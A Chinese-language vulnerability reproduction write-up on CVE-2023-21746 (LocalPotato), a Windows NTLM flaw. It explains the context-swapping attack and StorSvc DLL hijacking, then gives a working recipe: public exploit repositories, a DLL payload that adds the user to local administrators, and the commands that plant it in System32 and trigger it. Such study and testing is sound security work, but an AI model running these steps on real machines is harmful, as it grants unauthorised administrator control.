cve-2023-21746漏洞复现,Windows NTLM漏洞,本地提权攻击

📅 2026/7/31 17:46:18
cve-2023-21746漏洞复现,Windows NTLM漏洞,本地提权攻击
Windows NTLM 在进行身份验证时存在漏洞“LocalPotato”允许拥有低权限的本地攻击者通过运行特制程序将权限提升至SYSTEM。影响版本Windows Server 2012 R2Windows RT 8.1Windows 8.1 for x64-based systemsWindows 8.1 for 32-bit systemsWindows 7 for x64-based Systems Service Pack 1Windows 7 for 32-bit Systems Service Pack 1Windows Server 2016 (Server Core installation)Windows Server 2016Windows Server 2022 (Server Core installation)Windows Server 2022Windows Server 2012 (Server Core installation)Windows Server 2012Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2012 R2 (Server Core installation)Windows 10 Version 1607 for x64-based SystemsWindows 10 Version 1607 for 32-bit SystemsWindows 10 for x64-based SystemsWindows 10 for 32-bit SystemsWindows 10 Version 22H2 for 32-bit SystemsWindows 10 Version 22H2 for ARM64-based SystemsWindows 10 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for ARM64-based SystemsWindows 10 Version 21H2 for x64-based SystemsWindows 10 Version 21H2 for ARM64-based SystemsWindows 10 Version 21H2 for 32-bit SystemsWindows 11 version 21H2 for ARM64-based SystemsWindows 11 version 21H2 for x64-based SystemsWindows 10 Version 20H2 for ARM64-based SystemsWindows 10 Version 20H2 for 32-bit SystemsWindows 10 Version 20H2 for x64-based SystemsWindows Server 2019 (Server Core installation)Windows Server 2019Windows 10 Version 1809 for ARM64-based SystemsWindows 10 Version 1809 for x64-based SystemsWindows 10 Version 1809 for 32-bit Systems1.1 NTLM本地身份验证•类型1消息客户端发送此消息以启动连接。它用于像以前一样协商身份验证参数但也包含客户端计算机的名称及其域。服务器可以检查客户端的名称和域如果它们与自己的名称和域匹配则开始本地身份验证过程。•类型2消息服务器创建安全上下文并在此消息中将其ID发送回客户端。然后客户端可以使用安全上下文ID将自身与连接关联。•类型3消息如果客户端成功地将自身与现有安全上下文ID关联则会向服务器发送一条空的Type 3消息以指示本地身份验证过程成功。1.2 NTLM漏洞利用在本地的同一台机器上会存在一个“中间人”也就是我们熟悉的LSASS它在NTLM本地认证过程中担任中间人的角色负责的工作很多包括生成message、生成对应token值、检查身份许可等等因为全部本地NTLM认证都调用LSASS完成也就导致了接下来的漏洞利用方式。1.3 NTLM漏洞攻击1.首先攻击者会令一个高权限程序和由攻击者编写的恶意服务端进行连接这一步和之前的potato漏洞利用比较类似。2.恶意服务端和正常的服务端程序一样会实例化一个security context A然后先不发送给高权限客户端。紧接着攻击者编写的恶意客户端会尝试和本地SMB服务器程序进行连接按照权限来说是没有办法完成整个本地NTLM认证过程的但这里攻击者利用时间差将SMB服务器程序返回的security context B和之前生成的security context A交换——将security context B返回给高权限客户端这样高权限客户端会将高权限用户SYSTEM与security context B绑定而这个字段是恶意客户端与SMB服务器连接的时候获得的这样一来由恶意客户端发起的本地NTLM认证就变为有效认证此时恶意客户端返回空的Type 3 message整个认证过程完成。3.使用SMB服务攻击者就可以成功将文件写入到机器的任意位置而不受权限的约束因为此时的攻击者已经拥有了SYSTEM的权限。1.4 Windows提权为了实现实战中可以利用该漏洞的目的需要重新找到一种方法让写入的文件被调用。这种方法不止一种这里介绍一种比较新的提权方式LPE viaStorSvc。具体来说这就是一个标准的dll劫持方法只是这里用到的位置是在windows系统中。Storage Service是Win32服务。当所有版本的Windows10 2004、Windows10 20H2、Windows10 21H1、Windows10 21H2、Windows10 22H2中的操作系统启动时此服务将自动启动。当Storage Service启动时它在svchost.exe和其他服务的共享进程中作为Local System运行。Storage服务使用位于C: Windows system32目录中的StorSvc.dll文件。StorSvc.dll在ResetPhoneWorkerCallback函数中引入了一个不知道为什么缺失的dll而根据dll劫持的原理这种就是我们可以利用的dll因此当我们把这个dll制作为恶意dll写入到system32目录下运行StorSVC服务就可以执行恶意dll中写入的命令将当前用户提升为管理员用户。2 漏洞复现复现环境windows10 20H22.1 exp代码参考https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvchttps://github.com/decoder-it/LocalPotato打开 LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c 根据环境选择正确 RPC 接口标识符。#if defined(_M_AMD64) //#define WIN10 //#define WIN11 #define WIN2019 //#define WIN2022 ...打开 LPE via StorSvc\SprintCSP\SprintCSP\main.c 根据需要选择执行的命令。void DoStuff() { // Replace all this code by your payload STARTUPINFO si { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; CreateProcess(Lc:\\windows\\system32\\cmd.exe,L /C net localgroup administrators user /add, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, LC:\\Windows, si, pi); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return; }分别在Visual Studio中编译出SprintCSP.dll、RpcClient.exe和localpotato.exe文件。2.2 复现验证当前用户是否属于该 组Administratorsnet user user通过使用 LocalPotato将 SprintCSP.dll 复制到 system32 中LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll运行RpcClient.exe以触发对SprintCSP.dll的调用有效地执行 DLL 中的有效负载./RpcClient.exe结果为[] Dll hijack triggered! 证明有可能攻击成功了攻击不成功也是有可能返回这个结果的需要具体情况具体分析注意对同目标的第二次攻击是会提示需要重启StorSvc服务的否则无法完成攻击但这个服务的重启又需要管理员的权限低权限用户只能通过重启解决这个问题重启或注销用户登入后再次验证当前用户是否属于该 组Administratorsnet user user成功完成本地提权。参考文献localpotato实战化漏洞利用及分析LocalPotato - When Swapping The Context Leads You To SYSTEMTryHackMe | LocalPotato